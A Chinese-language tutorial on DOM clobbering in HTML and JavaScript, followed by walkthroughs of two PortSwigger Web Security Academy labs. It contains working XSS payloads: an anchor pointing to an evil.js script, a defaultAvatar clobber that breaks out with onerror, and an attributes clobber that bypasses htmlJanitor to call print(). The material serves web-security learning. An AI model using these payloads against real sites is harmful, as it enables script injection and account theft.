DOM
Document Object Model,即文档对象模型。是HTML和XML 的api,DOM将整个页面映射成一个层次节点组成的文件。
文档节点:整个文档
元素节点:标签,如<html> <a> <body>
属性节点:标签的属性,如<a>的hred属性
文本节点:标签中的文本 <p>hello world</p> 中的hello world
控制台可以清除的看到层级关系
DOM clobbering
即通过HTML影响js,比如在HTML设定一个有id的元素之后就可以在js中直接获取到他。
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
<button id="test">click me</button>
<script>
console.log(window.test)
</script>
</body>
</html>
除了id可以直接用window存取外,embed
form
img
object
这四个标签后面加上name也可以存取。
<embed name="a"></embed>
<form name="b"></form>
<img name="c" />
<object name="d"></object>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
<embed name="a">123</embed>
<script>
console.log(window.a)
</script>
</body>
</html>
demo
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
<h1>留言板</h1>
<div>
你的留言:hello
</div>
<script>
if (window.TEST_MODE) {
// load test script
var script = document.createElement('script')
script.src = window.TEST_SCRIPT_SRC
document.body.appendChild(script)
}
</script>
</body>
</html>
这是一个典型的XSS,但是当服务端存在严格过滤,比如过滤script 标签 onerror等关键词的时候常规的XSS就难以实现。不过却可以轻松使用dom clobbering
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
<h1>留言板</h1>
<div>
你的留言:
<div id="TEST_MODE"></div>
<a id="TEST_SCRIPT_SRC" href="http://127.0.0.1/evil.js"></a>
</div>
<script>
if (window.TEST_MODE) {
// load test script
var script = document.createElement('script')
script.src = window.TEST_SCRIPT_SRC
document.body.appendChild(script)
}
</script>
</body>
</html>
第一个id是为了过if条件,第二个id是通过TEST_SCRIPT_SRC的href属性返回恶意js地址,HTML中<base>
和<a>
标签在toString的时候会返回URL,可以通过href设置URL
注意,如果变量已经存在了,那么dom覆盖不掉。
<!DOCTYPE html>
<html>
<head>
<script>
TEST_MODE = 1
</script>
</head>
<body>
<div id="TEST_MODE"></div>
<script>
console.log(window.TEST_MODE) // 1
</script>
</body>
</html>
二层DOM Clobbering
为了实现诸如window.config.isTest
这样的多层级关系,可以有很多方法。
首先就是利用HTML的层级关系,比如form
。
可以使用form.id 或 form.name获取其下一级的元素。
<!DOCTYPE html>
<html>
<body>
<form id="level1">
<input name="level2" value="level3"/>
</form>
<script>
console.log(level1)
console.log(level1.level2)
console.log(level1.level2.value)
</script>
</body>
</html>
三层DOM Clobbering
利用HTMLCollection
在html中,如果要回传的东西有多个,就回传 HTMLCollection。
<!DOCTYPE html>
<html>
<body>
<a id="test"></a>
<a id="test"></a>
<script>
console.log(test)
</script>
</body>
</html>
然后可以利用name或者id拿HTMLCollection里面的元素
<!DOCTYPE html>
<html>
<body>
<a id="test"></a>
<a id="test" name="level2" href="http://127.0.0.1/evil.js"></a>
<script>
console.log(test.level2+' ')
</script>
</body>
</html>
第一个test是为了和第一个test创建一个HTMLCollection,然后通过HTMLCollection来调用元素
再配合form就可以实现三层DOM Clobbering
<!DOCTYPE html>
<html>
<body>
<form id="test"></form>
<form id="test" name="level2" >
<input name="level3" value="level4">
</form>
<script>
console.log(test.level2.level3.value)
</script>
</body>
</html>
更多层DOM Clobbering
当你建了一个 iframe 并且给它一个 name 的时候,用这个 name 就可以指到 iframe 里面的 window
<!DOCTYPE html>
<html>
<body>
<iframe name="test" srcdoc='<a id="level1"></a>'></iframe>
<script>
setTimeout(() => {
console.log(test.level1)
}, 500)
</script>
</body>
</html>
再搭配form HTMLCollection
<!DOCTYPE html>
<html>
<body>
<iframe name="level1" srcdoc='
<form id="level2"></form>
<form id="level2" name="level3">
<input name="level4" value="level5" />
</form>
'></iframe>
<script>
setTimeout(() => {
console.log(level1.level2.level3.level4.value)
}, 500)
</script>
</body>
</html>
编码过后也可以实现无限层
<iframe name=a srcdoc="
<iframe name=b srcdoc="
<iframe name=c srcdoc=&quot;
<iframe name=d srcdoc=&amp;quot;
<iframe name=e srcdoc=&amp;amp;quot;
<iframe name=f srcdoc=&amp;amp;amp;quot;
<div id=g>123</div>
&amp;amp;amp;quot;></iframe>
&amp;amp;quot;></iframe>
&amp;quot;></iframe>
&quot;></iframe>
"></iframe>
"></iframe>
<!DOCTYPE html>
<html>
<body>
<iframe name=level1 srcdoc="
<iframe name=level2 srcdoc="
<iframe name=level3 srcdoc=&quot;
<iframe name=level4 srcdoc=&amp;quot;
<iframe name=level5 srcdoc=&amp;amp;quot;
<iframe name=level6 srcdoc=&amp;amp;amp;quot;
<div id=level7>123</div>
&amp;amp;amp;quot;></iframe>
&amp;amp;quot;></iframe>
&amp;quot;></iframe>
&quot;></iframe>
"></iframe>
"></iframe>
<script>
setTimeout(() => {
console.log(level1.level2.level3.level4.level5.level6.level7)
}, 500)
</script>
</body>
</html>
PortSwigger lab1
通过条件:调用alert
留言区可以留言
插入<script>alert(1)</script>
的时候会被过滤掉
因为使用了domPurify
查看js
function loadComments(postCommentPath) {
let xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
let comments = JSON.parse(this.responseText);
displayComments(comments);
}
};
xhr.open("GET", postCommentPath + window.location.search);
xhr.send();
//转义特殊字符防止闭合
function escapeHTML(data) {
return data.replace(/[<>'"]/g, function(c){
return '&#' + c.charCodeAt(0) + ';';
})
}
//展示评论
function displayComments(comments) {
let userComments = document.getElementById("user-comments");
for (let i = 0; i < comments.length; ++i)
{
comment = comments[i];
let commentSection = document.createElement("section");
commentSection.setAttribute("class", "comment");
let firstPElement = document.createElement("p");
let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}
let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';
let divImgContainer = document.createElement("div");
divImgContainer.innerHTML = avatarImgHTML
if (comment.author) {
if (comment.website) {
let websiteElement = document.createElement("a");
websiteElement.setAttribute("id", "author");
websiteElement.setAttribute("href", comment.website);
firstPElement.appendChild(websiteElement)
}
let newInnerHtml = firstPElement.innerHTML + DOMPurify.sanitize(comment.author)
firstPElement.innerHTML = newInnerHtml
}
if (comment.date) {
let dateObj = new Date(comment.date)
let month = '' + (dateObj.getMonth() + 1);
let day = '' + dateObj.getDate();
let year = dateObj.getFullYear();
if (month.length < 2)
month = '0' + month;
if (day.length < 2)
day = '0' + day;
dateStr = [day, month, year].join('-');
let newInnerHtml = firstPElement.innerHTML + " | " + dateStr
firstPElement.innerHTML = newInnerHtml
}
firstPElement.appendChild(divImgContainer);
commentSection.appendChild(firstPElement);
if (comment.body) {
let commentBodyPElement = document.createElement("p");
commentBodyPElement.innerHTML = DOMPurify.sanitize(comment.body);
commentSection.appendChild(commentBodyPElement);
}
commentSection.appendChild(document.createElement("p"));
userComments.appendChild(commentSection);
}
}
};
很明显可以找到漏洞点
let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}
let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';
加载头像的时候如果没有提供链接,就会使用默认的头像defaultAvatar.avatar
而defaultAvatar
通过window.defaultAvatar
获取,如果window没有defaultAvatar
整个属性,那么我们可以覆盖
是没有的,尝试覆盖,使用HTMLCollection
<a id=defaultAvatar>
<a id=defaultAvatar name=avatar href='"onerror=alert(1)//'>
可以看到成功被插入,但是双引号被URL编码了无法闭合前面的双引号,原因是href需要加协议头
<a id=defaultAvatar>
<a id=defaultAvatar name=avatar href='http://"onerror=alert(1)//'>
PortSwigger lab2
通关条件:执行print
js里面没有找到window.x这样的敏感位置
只能使用初始化内的标签及其属性,对于重要的输入输出地方都使用了janitor.clean
进行过滤
htmlJanitor.js
for (var a = 0; a < node.attributes.length; a += 1) {
var attr = node.attributes[a];
if (shouldRejectAttr(attr, allowedAttrs, node)) {
node.removeAttribute(attr.name);
// Shift the array to continue looping.
a = a - 1;
}
}
// Sanitize children
this._sanitize(document, node);
最终是到这里,对节点的每个属性进行白名单检查,发现有不在白名单的属性就使用removeAttribute进行删除
漏洞点就在这,属性通过node.attributes.length
node.attributes[a]
获取
如果可以构造一个叫做attributes的子节点就会导致对其他属性的判断失效
比如
<form id=x ><input id=attributes>
输入这个就可以让属性判断失效
下面配合XSS触发print,可以利用form 的onfocus属性
<form id=x tabindex=0 onfocus=print()><input id=attributes>
需要加个时延操作让js执行完才能有评论
<iframe src=https://0a14004b03112605802f1cf600c400a3.web-security-academy.net/post?postId=6 onload="setTimeout(()=>this.src=this.src+'#x',500)">